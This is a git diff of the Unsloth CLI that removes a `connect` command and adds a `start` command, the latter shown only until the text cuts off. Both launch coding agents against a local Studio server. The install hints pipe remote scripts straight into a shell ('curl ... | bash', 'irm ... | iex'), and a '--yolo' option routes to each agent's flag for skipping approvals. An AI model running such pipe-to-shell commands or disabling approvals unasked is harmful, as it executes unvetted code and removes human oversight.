mode 100644 index 096a7925e5..0000000000 --- a/unsloth_cli/commands/connect.py +++ /dev/null @@ -1,777 +0,0 @@ -# SPDX-License-Identifier: AGPL-3.0-only -# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 - -"""`unsloth connect` — launch a coding agent against a running Studio server.""" - -import json -import os -import re -import shlex -import shutil -import signal -import subprocess -import urllib.error -import urllib.request -from pathlib import Path -from typing import NoReturn, Optional - -import typer - -from unsloth_cli._inference import ( - _USER_AGENT, - _studio_token, - ensure_studio_backend_path, - find_studio_server, - is_loopback_url, - urlopen_no_redirect, - verify_studio_identity, -) - -connect_app = typer.Typer( - help = "Connect a coding agent to a running Studio server.", - no_args_is_help = True, - context_settings = {"help_option_names": ["-h", "--help"]}, -) - -_CODEX_PROFILE = "unsloth_api" -_CODEX_ENV_KEY = "UNSLOTH_STUDIO_AUTH_TOKEN" -_HERMES_ENV_KEY = "UNSLOTH_API_KEY" -_HERMES_PROVIDER = "unsloth" -_PROVIDER_HEADER = f"[model_providers.{_CODEX_PROFILE}]" -_PASSTHROUGH = {"allow_extra_args": True, "ignore_unknown_options": True} -_CLAUDE_ENV_UNSET = ("ANTHROPIC_API_KEY", "CLAUDE_CODE_OAUTH_TOKEN") - -# Shared by every agent command; only the config/env/command differ. -_MODEL_OPTION = typer.Option( - None, "--model", "-m", help = "Model for the agent; defaults to the one loaded in Studio." -) -_KEY_OPTION = typer.Option( - None, - "--api-key", - envvar = "UNSLOTH_API_KEY", - help = ( - "Studio API key. For a local Studio it is minted automatically and " - "remembered per server. For a remote server, pass one with --api-key " - "(or UNSLOTH_API_KEY); it is remembered for next time." - ), -) -_LAUNCH_OPTION = typer.Option( - True, - "--launch/--no-launch", - help = "--no-launch prints the env and command instead (remote shells, WSL).", -) - - -def _fail(message: str) -> NoReturn: - typer.echo(message, err = True) - raise typer.Exit(code = 1) - - -def _http_error_detail(exc: urllib.error.HTTPError) -> str: - try: - body = json.loads(exc.read().decode()) - return body.get("detail") or body["error"]["message"] - except Exception: - return str(exc) - - -def _http_json( - method: str, - url: str, - token: str, - payload = None, - timeout = 30, - error = None, -): - """On HTTPError: raise if `error` is None, else fail with `error` plus the server's detail.""" - request = urllib.request.Request( - url, - data = None if payload is None else json.dumps(payload).encode(), - headers = { - "Authorization": f"Bearer {token}", - "Content-Type": "application/json", - "User-Agent": _USER_AGENT, - }, - method = method, - ) - try: - # No redirects: a 3xx would leak this bearer token to an unvetted base. - with urlopen_no_redirect(request, timeout = timeout) as response: - return json.loads(response.read().decode() or "{}") - except urllib.error.HTTPError as exc: - if error is None: - raise - _fail(f"{error}: {_http_error_detail(exc)}") - except (urllib.error.URLError, TimeoutError) as exc: - if error is None: - raise - _fail(f"{error}: {getattr(exc, 'reason', None) or exc}") - - -def _require_studio() -> str: - base = find_studio_server() - if base is None: - expected = os.environ.get("UNSLOTH_STUDIO_URL", "http://127.0.0.1:8888") - _fail( - f"No running Studio server found at {expected}. Start one with " - "`unsloth studio`, or point UNSLOTH_STUDIO_URL at a remote server." - ) - return base - - -def _key_cache_path() -> Path: - ensure_studio_backend_path() - from utils.paths import auth_root - return auth_root() / "agent_api_key.json" - - -def _read_cache(cache: Path) -> dict: - try: - data = json.loads(cache.read_text(encoding = "utf-8")) - except Exception: - return {} - return data if isinstance(data, dict) else {} - - -def _server_buckets(servers: dict, base: str) -> dict: - # Normalise a server's entry to {"saved": [...], "minted": [...]}, tolerating a - # corrupt/legacy value (bare string/list -> treated as minted, behind the handshake). - entry = servers.get(base) if isinstance(servers, dict) else None - if isinstance(entry, list): - return {"saved": [], "minted": [k for k in entry if isinstance(k, str)]} - if not isinstance(entry, dict): - return {"saved": [], "minted": []} - - def _strs(name: str) -> list: - value = entry.get(name) - return [k for k in value if isinstance(k, str)] if isinstance(value, list) else [] - - return {"saved": _strs("saved"), "minted": _strs("minted")} - - -def _cached_keys(cache: Path, base: str, source: str) -> list: - # Keys are scoped per server. `source` splits user-supplied --api-key keys - # ("saved", trusted for that base) from auto-minted ones ("minted", replayed - # only after the identity check). Legacy unscoped caches are ignored. - return _server_buckets(_read_cache(cache).get("servers", {}), base)[source] - - -def _write_private_json(path: Path, data: dict) -> None: - # O_CREAT with 0o600 so a file holding an API key is never world-readable, - # even briefly (existing files keep whatever perms the user set). - path.parent.mkdir(parents = True, exist_ok = True, mode = 0o700) - fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) - with os.fdopen(fd, "w") as handle: - handle.write(json.dumps(data, indent = 2) + "\n") - - -def _read_json_object(path: Path) -> Optional[dict]: - # {} when missing, None when it can't be parsed as an object (so the caller - # leaves a user-managed file untouched rather than clobbering it). - if not path.exists(): - return {} - try: - data = json.loads(path.read_text(encoding = "utf-8")) - except (ValueError, OSError): - return None - return data if isinstance(data, dict) else None - - -def _subdict(parent: dict, key: str) -> dict: - child = parent.get(key) - if not isinstance(child, dict): - child = parent[key] = {} - return child - - -def _remember_key(cache: Path, base: str, key: str, source: str) -> None: - data = _read_cache(cache) - servers = data.get("servers") - if not isinstance(servers, dict): - servers = data["servers"] = {} - buckets = _server_buckets(servers, base) - other = "minted" if source == "saved" else "saved" - buckets[source] = ([key] + [k for k in buckets[source] if k != key])[:8] - buckets[other] = [k for k in buckets[other] if k != key] # a key has one provenance - new_entry = {"saved": buckets["saved"], "minted": buckets["minted"]} - if servers.get(base) == new_entry: - return - servers[base] = new_entry - # Collapse legacy unscoped fields. - data.pop("keys", None) - data.pop("key", None) - try: - _write_private_json(cache, data) - except OSError: - pass # worst case the next launch mints another key - - -def _key_accepted(base: str, key: str) -> bool: - try: - _http_json("GET", f"{base}/v1/models", key) - return True - except Exception: - return False - - -def _agent_api_key(base: str, explicit: Optional[str]) -> str: - cache = _key_cache_path() - if explicit: - _remember_key(cache, base, explicit, "saved") - return explicit - - # Replay a key the user saved for *this exact* server first (scoped per base, - # so it only goes back there -- including a remote/SSH-tunnelled Studio whose - # secret the local handshake can't match). Skip ones the server rejects. - for key in _cached_keys(cache, base, "saved"): - if _key_accepted(base, key): - _remember_key(cache, base, key, "saved") - return key - - # Beyond here we auto-mint or replay an auto-minted key. find_studio_server() - # trusts a base after only a health check, so both are limited to a loopback - # server we can cryptographically confirm is ours. - if not is_loopback_url(base): - _fail( - f"No saved API key for {base} and automatic minting only runs against " - "a local Studio. Create an API key in Studio → Settings → API and " - "pass it with --api-key (it is remembered per server), or set " - "UNSLOTH_API_KEY." - ) - if not verify_studio_identity(base): - _fail( - f"Couldn't verify that {base} is your Studio (it may be running as a " - "different OS user, or another process took the port). Create an API " - "key in Studio → Settings → API and pass it with --api-key, or set " - "UNSLOTH_API_KEY." - ) - - # Identity verified: replay a previously auto-minted key, else mint a new one. - for key in _cached_keys(cache, base, "minted"): - if _key_accepted(base, key): - _remember_key(cache, base, key, "minted") - return key - - # Self-issue a JWT (signed with the local secret) and mint a key. - token = _studio_token() - if token is None: - _fail( - "Couldn't authenticate with the Studio server automatically. Create " - "an API key in Studio → Settings → API and pass it with --api-key, " - "or set UNSLOTH_API_KEY." - ) - key = _http_json( - "POST", - f"{base}/api/auth/api-keys", - token, - {"name": "Coding agents (unsloth connect)"}, - error = "Couldn't create an API key", - )["key"] - _remember_key(cache, base, key, "minted") - return key - - -def _loaded_models(base: str, key: str) -> list: - return _http_json("GET", f"{base}/v1/models", key, error = "Couldn't list models").get("data", []) - - -def _resolve_model(base: str, key: str, requested: Optional[str]) -> dict: - models = _loaded_models(base, key) - match = next((m for m in models if m["id"] == requested), None) - if requested and match is None: - typer.echo(f"Loading {requested} on the Studio server (this can take a while)…") - loaded = _http_json( - "POST", - f"{base}/api/inference/load", - key, - {"model_path": requested}, - timeout = 3600, - error = "Model load failed", - ) - # Studio registers the model under a canonical id (resolved identifier, - # casing) that /v1/models echoes but which may differ from the path we - # passed; match on the id the load reports so we don't silently fall - # through to models[0] and connect to a different loaded model. - wanted = {requested} - if isinstance(loaded, dict): - wanted |= {loaded.get("model"), loaded.get("display_name")} - {None} - models = _loaded_models(base, key) - match = next((m for m in models if m["id"] in wanted), None) - if match is not None: - return match - if requested: - # We asked Studio to load it and it didn't surface in /v1/models; don't - # silently hand back an unrelated loaded model. - _fail( - f"Studio didn't report '{requested}' as loaded. Double-check the model " - "id, or load it from the model dropdown in the UI." - ) - if not models: - _fail( - "No model is loaded in Studio. Load one from the model dropdown in " - "the UI, or pass --model to load it from here." - ) - return models[0] - - -def _require_gguf_for_codex(base: str, key: str, model_id: str) -> None: - # Codex always streams, and Studio only streams /v1/responses from llama-server. - try: - status = _http_json("GET", f"{base}/api/inference/status", key) - except urllib.error.HTTPError as exc: - if exc.code == 404: - return # older server without the endpoint; don't block the launch - raise - if status.get("is_gguf"): - return - hint = model_id if "gguf" in model_id.lower() else f"{model_id}-GGUF" - _fail( - f"Codex needs a GGUF model served by llama-server, but {model_id} is on " - f"the transformers backend. Try: unsloth connect codex --model {hint}" - ) - - -def claude_settings_path() -> Path: - return Path.home() / ".claude" / "settings.json" - - -def ensure_claude_attribution_header() -> None: - # The header invalidates the llama.cpp KV cache (~90% slower) and Claude - # Code only honors this setting from settings.json, not the env var. - path = claude_settings_path() - settings = {} - if path.exists(): - try: - settings = json.loads(path.read_text(encoding = "utf-8")) - except (ValueError, OSError): - settings = None - if not isinstance(settings, dict): - typer.echo( - f"Warning: couldn't parse {path} — set CLAUDE_CODE_ATTRIBUTION_HEADER " - 'to "0" in its "env" section yourself, or local inference will be much slower.', - err = True, - ) - return - env = settings.get("env") - if not isinstance(env, dict): - env = settings["env"] = {} - if str(env.get("CLAUDE_CODE_ATTRIBUTION_HEADER")) == "0": - return - env["CLAUDE_CODE_ATTRIBUTION_HEADER"] = "0" - try: - path.parent.mkdir(parents = True, exist_ok = True) - path.write_text(json.dumps(settings, indent = 2) + "\n", encoding = "utf-8") - except OSError: - typer.echo( - f"Warning: couldn't write {path} — set CLAUDE_CODE_ATTRIBUTION_HEADER " - 'to "0" in its "env" section yourself, or local inference will be much slower.', - err = True, - ) - return - typer.echo(f"Disabled Claude Code's attribution header in {path} (it breaks KV-cache reuse).") - - -_DYNAMIC_SECTIONS_FLAG = "--exclude-dynamic-system-prompt-sections" - - -def _claude_cache_flags() -> list: - # The flag moves per-machine context (cwd, env info, git status) out of - # the system prompt, where it changes every session and defeats llama.cpp - # prefix caching. As of 2.1.175 it only takes effect in print mode (`-p` - # passed through ctx.args); interactive sessions accept and ignore it. - # Claude Code < 2.1.98 aborts on the unknown flag, so check the version - # first; no local binary means a --no-launch printout for another machine. - executable = shutil.which("claude") - if executable is None: - return [_DYNAMIC_SECTIONS_FLAG] - try: - result = subprocess.run( - [executable, "--version"], capture_output = True, text = True, timeout = 10 - ) - version = tuple(int(part) for part in result.stdout.split()[0].split(".")) - except Exception: - return [] - return [_DYNAMIC_SECTIONS_FLAG] if version >= (2, 1, 98) else [] - - -def codex_home() -> Path: - return Path(os.environ.get("CODEX_HOME") or Path.home() / ".codex") - - -def _merge_codex_config(existing: str, base: str) -> str: - chunks = re.split(r"(?m)^(?=\[)", existing) # preamble, then one chunk per table - if not re.search(r"(?m)^\s*oss_provider\s*=", chunks[0]): - if chunks[0] and not chunks[0].endswith("\n"): - chunks[0] += "\n" - chunks[0] += f'oss_provider = "{_CODEX_PROFILE}"\n' - # Drop the provider table and any stale [model_providers.unsloth_api.*] subtables. - stale = (_PROVIDER_HEADER, _PROVIDER_HEADER[:-1] + ".") - text = "".join(c for c in chunks if not c.startswith(stale)) - if not text.endswith("\n"): - text += "\n" - if not text.endswith("\n\n"): - text += "\n" - return text + ( - f"{_PROVIDER_HEADER}\n" - 'name = "Unsloth Studio"\n' - f"base_url = {json.dumps(base + '/v1')}\n" - f'env_key = "{_CODEX_ENV_KEY}"\n' - 'wire_api = "responses"\n' - "requires_openai_auth = false\n" - ) - - -def write_codex_config(base: str, model: dict) -> None: - home = codex_home() - home.mkdir(parents = True, exist_ok = True) - - config = home / "config.toml" - existing = config.read_text(encoding = "utf-8") if config.exists() else "" - merged = _merge_codex_config(existing, base) - if merged != existing: - config.write_text(merged, encoding = "utf-8") - typer.echo(f"Updated {config}") - - # oss_provider here too: codex --oss picks the provider from it, and the - # profile layer must beat a user-set value (e.g. "ollama") in config.toml. - profile_text = ( - f'oss_provider = "{_CODEX_PROFILE}"\n' - f'model_provider = "{_CODEX_PROFILE}"\n' - f"model = {json.dumps(model['id'])}\n" - ) - window = model.get("context_length") or model.get("max_context_length") - if window: - profile_text += f"model_context_window = {int(window)}\n" - profile = home / f"{_CODEX_PROFILE}.config.toml" - if not profile.exists() or profile.read_text(encoding = "utf-8") != profile_text: - profile.write_text(profile_text, encoding = "utf-8") - typer.echo(f"Updated {profile}") - - -def _wsl_windows_executable(command: list) -> Optional[str]: - if os.name == "nt" or not os.environ.get("WSL_DISTRO_NAME"): - return None - executable = shutil.which(command[0]) - if executable and executable.startswith("/mnt/"): - return executable - return None - - -def _merge_wslenv(current: str, names: tuple) -> str: - entries = [entry for entry in current.split(":") if entry] - existing = {entry.split("/", 1)[0] for entry in entries} - entries.extend(name for name in names if name not in existing) - return ":".join(entries) - - -def _print_env( - env: dict, - command: list, - unset_env: tuple = (), - wsl_env_bridge: tuple = (), -) -> None: - if os.name == "nt": - for name in unset_env: - typer.echo(f"Remove-Item Env:{name} -ErrorAction SilentlyContinue") - for name, value in env.items(): - # PowerShell: ` is the escape char, and $ triggers expansion inside "". - escaped = value.replace("`", "``").replace('"', '`"').replace("$", "`$") - typer.echo(f'$env:{name} = "{escaped}"') - typer.echo(subprocess.list2cmdline(command)) - return - for name in unset_env: - typer.echo(f"export {name}=" if wsl_env_bridge else f"unset {name}") - for name, value in env.items(): - typer.echo(f"export {name}={shlex.quote(value)}") - if wsl_env_bridge: - typer.echo( - f"export WSLENV={shlex.quote(_merge_wslenv(os.environ.get('WSLENV', ''), wsl_env_bridge))}" - ) - typer.echo(shlex.join(command)) - - -def _launch( - command: list, - env: dict, - install_hint: str, - unset_env: tuple = (), -) -> NoReturn: - executable = shutil.which(command[0]) - if executable is None: - _fail(f"`{command[0]}` not found on PATH. Install it with: {install_hint}") - wsl_env_bridge = ( - tuple(dict.fromkeys((*env.keys(), *unset_env))) if _wsl_windows_executable(command) else () - ) - child_env = dict(os.environ) - if wsl_env_bridge: - child_env["WSLENV"] = _merge_wslenv(child_env.get("WSLENV", ""), wsl_env_bridge) - for name in unset_env: - child_env[name] = "" - else: - for name in unset_env: - child_env.pop(name, None) - child_env.update(env) - # Ctrl+C cancels a turn inside the agent; don't let it kill this wrapper. - previous = signal.signal(signal.SIGINT, signal.SIG_IGN) - try: - code = subprocess.run([executable, *command[1:]], env = child_env).returncode - finally: - signal.signal(signal.SIGINT, previous) - # Negative returncode means killed by signal N; shells expect 128+N. - raise typer.Exit(code = code if code >= 0 else 128 - code) - - -def _connect(api_key: Optional[str], model: Optional[str]) -> tuple: - base = _require_studio() - key = _agent_api_key(base, api_key) - return base, key, _resolve_model(base, key, model) - - -def _run( - base: str, - entry: dict, - env: dict, - command: list, - *, - launch: bool, - install_hint: str, - unset_env: tuple = (), -) -> None: - typer.echo(f"Studio {base} · model {entry['id']}") - wsl_env_bridge = ( - tuple(dict.fromkeys((*env.keys(), *unset_env))) if _wsl_windows_executable(command) else () - ) - if not launch: - _print_env(env, command, unset_env = unset_env, wsl_env_bridge = wsl_env_bridge) - return - _launch(command, env, install_hint = install_hint, unset_env = unset_env) - - -def openclaw_config_path() -> Path: - return Path.home() / ".openclaw" / "openclaw.json" - - -def write_openclaw_config(base: str, key: str, model: dict) -> None: - path = openclaw_config_path() - config = _read_json_object(path) - if config is None: - typer.echo( - f"Warning: couldn't parse {path} — add an 'unsloth' provider there " - "yourself, or move the file aside and re-run.", - err = True, - ) - return - before = json.dumps(config, sort_keys = True) - # Studio is a generic OpenAI-compatible /v1 endpoint (the vLLM/LM Studio path). - provider_model = {"id": model["id"], "name": model["id"]} - window = model.get("context_length") or model.get("max_context_length") - if window: - provider_model["contextWindow"] = int(window) - models = _subdict(config, "models") - models.setdefault("mode", "merge") - _subdict(models, "providers")["unsloth"] = { - "baseUrl": f"{base}/v1", - "apiKey": key, - "api": "openai-completions", - "models": [provider_model], - } - # Pin a default model, else OpenClaw drops into its setup agent ("no models available"). - defaults = _subdict(_subdict(config, "agents"), "defaults") - _subdict(defaults, "model")["primary"] = f"unsloth/{model['id']}" - # Unauthenticated loopback gateway: without auth.mode=none the client won't open - # the websocket. The daemon must still be started separately (`openclaw gateway`). - gateway = _subdict(config, "gateway") - gateway.setdefault("mode", "local") - _subdict(gateway, "auth").setdefault("mode", "none") - if json.dumps(config, sort_keys = True) != before: - _write_private_json(path, config) - typer.echo(f"Updated {path}") - - -def opencode_config_path() -> Path: - config_home = os.environ.get("XDG_CONFIG_HOME") or Path.home() / ".config" - return Path(config_home) / "opencode" / "opencode.json" - - -def write_opencode_config(base: str, key: str, model: dict) -> None: - path = opencode_config_path() - config = _read_json_object(path) - if config is None: - typer.echo( - f"Warning: couldn't parse {path} — add an 'unsloth' provider there " - "yourself, or move the file aside and re-run.", - err = True, - ) - return - before = json.dumps(config, sort_keys = True) - config.setdefault("$schema", "https://opencode.ai/config.json") - _subdict(config, "provider")["unsloth"] = { - "npm": "@ai-sdk/openai-compatible", - "name": "Unsloth Studio", - "options": {"baseURL": f"{base}/v1", "apiKey": key}, - "models": {model["id"]: {"name": model["id"]}}, - } - # OpenCode selects a model by "/". - config["model"] = f"unsloth/{model['id']}" - if json.dumps(config, sort_keys = True) != before: - _write_private_json(path, config) - typer.echo(f"Updated {path}") - - -def hermes_config_path() -> Path: - return Path.home() / ".hermes" / "config.yaml" - - -def write_hermes_config(base: str, model: dict) -> None: - import yaml - - path = hermes_config_path() - config: dict = {} - if path.exists(): - try: - loaded = yaml.safe_load(path.read_text(encoding = "utf-8")) - except (yaml.YAMLError, OSError): - typer.echo( - f"Warning: couldn't parse {path} — configure the custom endpoint " - "there yourself, or move the file aside and re-run.", - err = True, - ) - return - if isinstance(loaded, dict): - config = loaded - elif loaded is not None: - # Non-empty, non-mapping YAML is a user-managed file; leave it. - typer.echo( - f"Warning: couldn't parse {path} — configure the custom endpoint " - "there yourself, or move the file aside and re-run.", - err = True, - ) - return - # Hermes only reads the key for a *named* custom provider (a bare - # `provider: custom` ignores it), so register it under providers.*. - _subdict(config, "model").update( - provider = f"custom:{_HERMES_PROVIDER}", - default = model["id"], - api_mode = "openai", - ) - _subdict(config, "providers")[_HERMES_PROVIDER] = { - "base_url": f"{base}/v1", - "api_mode": "openai", - "key_env": _HERMES_ENV_KEY, - } - text = yaml.safe_dump(config, sort_keys = False) - if not path.exists() or path.read_text(encoding = "utf-8") != text: - path.parent.mkdir(parents = True, exist_ok = True) - path.write_text(text, encoding = "utf-8") - typer.echo(f"Updated {path}") - - -@connect_app.command("claude", context_settings = _PASSTHROUGH) -def claude( - ctx: typer.Context, - model: Optional[str] = _MODEL_OPTION, - api_key: Optional[str] = _KEY_OPTION, - launch: bool = _LAUNCH_OPTION, -): - """Point Claude Code at the running Studio server and start it.""" - base, key, entry = _connect(api_key, model) - model_id = entry["id"] - ensure_claude_attribution_header() - - env = { - "ANTHROPIC_BASE_URL": base, - "ANTHROPIC_AUTH_TOKEN": key, - "ANTHROPIC_MODEL": model_id, - # Update checks, beta features, and other background requests either - # stall against a local server or evict the conversation from - # llama-server's KV-cache slots, so turn off everything nonessential. - "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1", - "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS": "1", - } - command = ["claude", "--model", model_id, *_claude_cache_flags(), *ctx.args] - install_hint = ( - "irm https://claude.ai/install.ps1 | iex" - if os.name == "nt" - else "curl -fsSL https://claude.ai/install.sh | bash" - ) - _run( - base, - entry, - env, - command, - launch = launch, - install_hint = install_hint, - unset_env = _CLAUDE_ENV_UNSET, - ) - - -@connect_app.command("codex", context_settings = _PASSTHROUGH) -def codex( - ctx: typer.Context, - model: Optional[str] = _MODEL_OPTION, - api_key: Optional[str] = _KEY_OPTION, - launch: bool = _LAUNCH_OPTION, -): - """Point OpenAI Codex at the running Studio server and start it.""" - base, key, entry = _connect(api_key, model) - _require_gguf_for_codex(base, key, entry["id"]) - write_codex_config(base, entry) - - env = {_CODEX_ENV_KEY: key} - command = ["codex", "--oss", "--profile", _CODEX_PROFILE, *ctx.args] - _run(base, entry, env, command, launch = launch, install_hint = "npm install -g @openai/codex") - - -@connect_app.command("openclaw", context_settings = _PASSTHROUGH) -def openclaw( - ctx: typer.Context, - model: Optional[str] = _MODEL_OPTION, - api_key: Optional[str] = _KEY_OPTION, - launch: bool = _LAUNCH_OPTION, -): - """Point OpenClaw at the running Studio server and start it.""" - base, key, entry = _connect(api_key, model) - write_openclaw_config(base, key, entry) # key lives in the config, not the env - - command = ["openclaw", *ctx.args] - install_hint = ( - "iwr -useb https://openclaw.ai/install.ps1 | iex" - if os.name == "nt" - else "curl -fsSL https://openclaw.ai/install.sh | bash" - ) - _run(base, entry, {}, command, launch = launch, install_hint = install_hint) - - -@connect_app.command("opencode", context_settings = _PASSTHROUGH) -def opencode( - ctx: typer.Context, - model: Optional[str] = _MODEL_OPTION, - api_key: Optional[str] = _KEY_OPTION, - launch: bool = _LAUNCH_OPTION, -): - """Point OpenCode at the running Studio server and start it.""" - base, key, entry = _connect(api_key, model) - write_opencode_config(base, key, entry) # key lives in the config, not the env - - command = ["opencode", *ctx.args] - _run(base, entry, {}, command, launch = launch, install_hint = "npm install -g opencode-ai") - - -@connect_app.command("hermes", context_settings = _PASSTHROUGH) -def hermes( - ctx: typer.Context, - model: Optional[str] = _MODEL_OPTION, - api_key: Optional[str] = _KEY_OPTION, - launch: bool = _LAUNCH_OPTION, -): - """Point Hermes (Nous Research) at the running Studio server and start it.""" - base, key, entry = _connect(api_key, model) - write_hermes_config(base, entry) - - env = {_HERMES_ENV_KEY: key} - command = ["hermes", *ctx.args] - install_hint = ( - "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent" - "/main/scripts/install.sh | bash" - ) - _run(base, entry, env, command, launch = launch, install_hint = install_hint) diff --git a/unsloth_cli/commands/start.py b/unsloth_cli/commands/start.py new file mode 100644 index 0000000000..b188180188 --- /dev/null +++ b/unsloth_cli/commands/start.py @@ -0,0 +1,1497 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""`unsloth start` — launch a coding agent against a running Studio server.""" + +import atexit +import contextlib +import json +import os +import re +import shlex +import shutil +import signal +import subprocess +import sys +import tempfile +import time +import urllib.error +import urllib.request +from pathlib import Path +from typing import NamedTuple, NoReturn, Optional +from urllib.parse import urlparse + +import click +import typer + +from unsloth_cli._inference import ( + _USER_AGENT, + _studio_token, + ensure_studio_backend_path, + find_studio_server, + is_loopback_url, + urlopen_no_redirect, + verify_studio_identity, +) + +start_app = typer.Typer( + help = "Start a coding agent against a running Studio server.", + no_args_is_help = True, + context_settings = {"help_option_names": ["-h", "--help"]}, +) + +_CODEX_PROFILE = "unsloth_api" +_CODEX_ENV_KEY = "UNSLOTH_STUDIO_AUTH_TOKEN" +_HERMES_ENV_KEY = "UNSLOTH_API_KEY" +_HERMES_PROVIDER = "unsloth" +# Hermes refuses to initialize when the model window is under 64,000 tokens; its +# error message points at the model.context_length / auxiliary.compression +# overrides in config.yaml. write_hermes_config claims this value for smaller +# windows and scales the compaction threshold back down to the real window. +_HERMES_MIN_CONTEXT = 65536 +_PI_PROVIDER = "unsloth" +_PROVIDER_HEADER = f"[model_providers.{_CODEX_PROFILE}]" +_PASSTHROUGH = {"allow_extra_args": True, "ignore_unknown_options": True} +_CLAUDE_ENV_UNSET = ("ANTHROPIC_API_KEY", "CLAUDE_CODE_OAUTH_TOKEN") + +# Shared by every agent command; only the config/env/command differ. +_MODEL_OPTION = typer.Option( + None, "--model", "-m", help = "Model for the agent; defaults to the one loaded in Studio." +) +_KEY_OPTION = typer.Option( + None, + "--api-key", + envvar = "UNSLOTH_API_KEY", + help = ( + "Studio API key. For a local Studio it is minted automatically and " + "remembered per server. For a remote server, pass one with --api-key " + "(or UNSLOTH_API_KEY); it is remembered for next time." + ), +) +_LAUNCH_OPTION = typer.Option( + True, + "--launch/--no-launch", + help = "--no-launch prints the env and command instead (remote shells, WSL).", +) +_SERVE_OPTION = typer.Option( + True, + "--serve/--no-serve", + help = ( + "If no Studio server is running, auto-start one for --model and stop it when the " + "agent exits. --no-serve keeps the old behavior of erroring out." + ), +) +# Model-load knobs mirrored from `unsloth run`; only used when --model triggers a +# load on the server. Server-startup flags (--host/--port/--cloudflare/...) do not +# apply here because `unsloth start` attaches to an already-running server. +_GGUF_VARIANT_OPTION = typer.Option( + None, "--gguf-variant", help = "GGUF quant variant to load (e.g. UD-Q4_K_XL)." +) +_CONTEXT_OPTION = typer.Option( + 0, + "--max-seq-length", + "--context-length", + help = "Context length in tokens for the load (0 = model default).", +) +_LOAD_4BIT_OPTION = typer.Option( + True, "--load-in-4bit/--no-load-in-4bit", help = "Load hub models in 4-bit (ignored for GGUF)." +) +_TENSOR_PARALLEL_OPTION = typer.Option( + False, + "--tensor-parallel/--no-tensor-parallel", + help = "Split a GGUF across GPUs by tensor instead of by layer (multi-GPU only).", +) +# One normalized "run tools without prompting" switch. Each agent spells this +# differently and it's easy to forget which is which, so accept every spelling and +# route to the agent's own mechanism in _yolo_command_flags / the config writers. +_YOLO_OPTION = typer.Option( + False, + "--yolo", + "--dangerously-skip-permissions", + "--dangerously-bypass-approvals-and-sandbox", + help = ( + "Auto-approve all tool actions for this session; routed to the agent's own " + "flag/config. Any of the three spellings works for any agent." + ), +) + +# Per-agent CLI flag for "run tools without prompting". opencode and openclaw have no +# such flag (config only) and are handled in their config writers, so they are absent. +_YOLO_COMMAND_FLAGS = { + "claude": ["--dangerously-skip-permissions"], + "codex": ["--dangerously-bypass-approvals-and-sandbox"], + "hermes": ["--yolo"], + # Pi never prompts per tool call; its only approval gate is project trust, so -a + # (trust project resources) is the closest "don't ask me" equivalent. + "pi": ["--approve"], +} + + +def _yolo_command_flags(agent: str, yolo: bool) -> list: + # .get so a config-based agent (or a typo) yields no flag instead of a KeyError. + return _YOLO_COMMAND_FLAGS.get(agent, []) if yolo else [] + + +class LoadOptions(NamedTuple): + """Model-load knobs forwarded to /api/inference/load when --model triggers a load.""" + + gguf_variant: Optional[str] = None + max_seq_length: int = 0 + load_in_4bit: bool = True + tensor_parallel: bool = False + + +def _split_repo_variant(model: str) -> tuple: + """Split ``org/name:QUANT`` into ``(repo, variant)`` -> ``("org/name", "QUANT")``. + + ``unsloth run`` and llama.cpp accept ``--model org/name:QUANT`` as shorthand for + ``--model org/name --gguf-variant QUANT``. Mirror that here so a ``:variant`` suffix + resolves against the already-loaded ``org/name`` (which /v1/models lists without the + suffix) instead of trying to load a repo id containing ``:`` -- which Hugging Face + rejects, and which would evict a model another session is using. Local paths, Windows + drive letters, and ids without a ``:`` pass through unchanged. + """ + s = (model or "").strip() + if not s or s.startswith(("/", "./", "../", "~")) or s == ".": + return s, None + if len(s) >= 2 and s[1] == ":" and s[0].isalpha(): # Windows drive, e.g. C:\models\x + return s, None + if ":" not in s: + return s, None + repo, _, variant = s.rpartition(":") + if not repo or not variant or "/" in variant: + return s, None + return repo, variant + + +def _fail(message: str) -> NoReturn: + typer.echo(message, err = True) + raise typer.Exit(code = 1) + + +def _http_error_detail(exc: urllib.error.HTTPError) -> str: + try: + body = json.loads(exc.read().decode()) + return body.get("detail") or body["error"]["message"] + except Exception: + return str(exc) + + +def _http_json( + method: str, + url: str, + token: str, + payload = None, + timeout = 30, + error = None, +): + """On HTTPError: raise if `error` is None, else fail with `error` plus the server's detail.""" + request = urllib.request.Request( + url, + data = None if payload is None else json.dumps(payload).encode(), + headers = { + "Authorization": f"Bearer {token}", + "Content-Type": "application/json", + "User-Agent": _USER_AGENT, + }, + method = method, + ) + try: + # No redirects: a 3xx would leak this bearer token to an unvetted base. + with urlopen_no_redirect(request, timeout = timeout) as response: + return json.loads(response.read().decode() or "{}") + except urllib.error.HTTPError as exc: + if error is None: + raise + _fail(f"{error}: {_http_error_detail(exc)}") + except (urllib.error.URLError, TimeoutError) as exc: + if error is None: + raise + _fail(f"{error}: {getattr(exc, 'reason', None) or exc}") + + +# A server that WE auto-started (never one we merely found). Kept at module scope so +# _run's finally and the atexit backstop can tear it down without threading a handle +# through all six agent commands. Only one agent runs per process, so one slot is enough. +_auto_served_server: Optional[subprocess.Popen] = None +# Model download + load can be slow; give the auto-started server room before giving up. +_SERVER_START_TIMEOUT_S = 900 + + +def _studio_healthy(base: str, timeout: float = 3.0) -> bool: + request = urllib.request.Request(f"{base}/api/health", headers = {"User-Agent": _USER_AGENT}) + try: + with urllib.request.urlopen(request, timeout = timeout) as response: + return json.loads(response.read(65536).decode() or "{}").get("status") == "healthy" + except Exception: + return False + + +def _log_tail(path: Path, lines: int = 20) -> str: + try: + return "\n".join(path.read_text(encoding = "utf-8", errors = "replace").splitlines()[-lines:]) + except OSError: + return "(no server log)" + + +def _shutdown_server(server: Optional[subprocess.Popen]) -> None: + # Idempotent teardown of a server WE started, plus its own children (llama-server, + # cloudflared). A no-op once the process is already gone. + if server is None or server.poll() is not None: + return + if os.name == "nt": + # terminate()/kill() reach only the parent `unsloth run`; taskkill /T walks the + # whole tree so the llama-server child doesn't keep the port and GPU (matches the + # taskkill /T /F pattern already used in unsloth/dataprep/synthetic.py). + try: + subprocess.run( + ["taskkill", "/PID", str(server.pid), "/T", "/F"], + capture_output 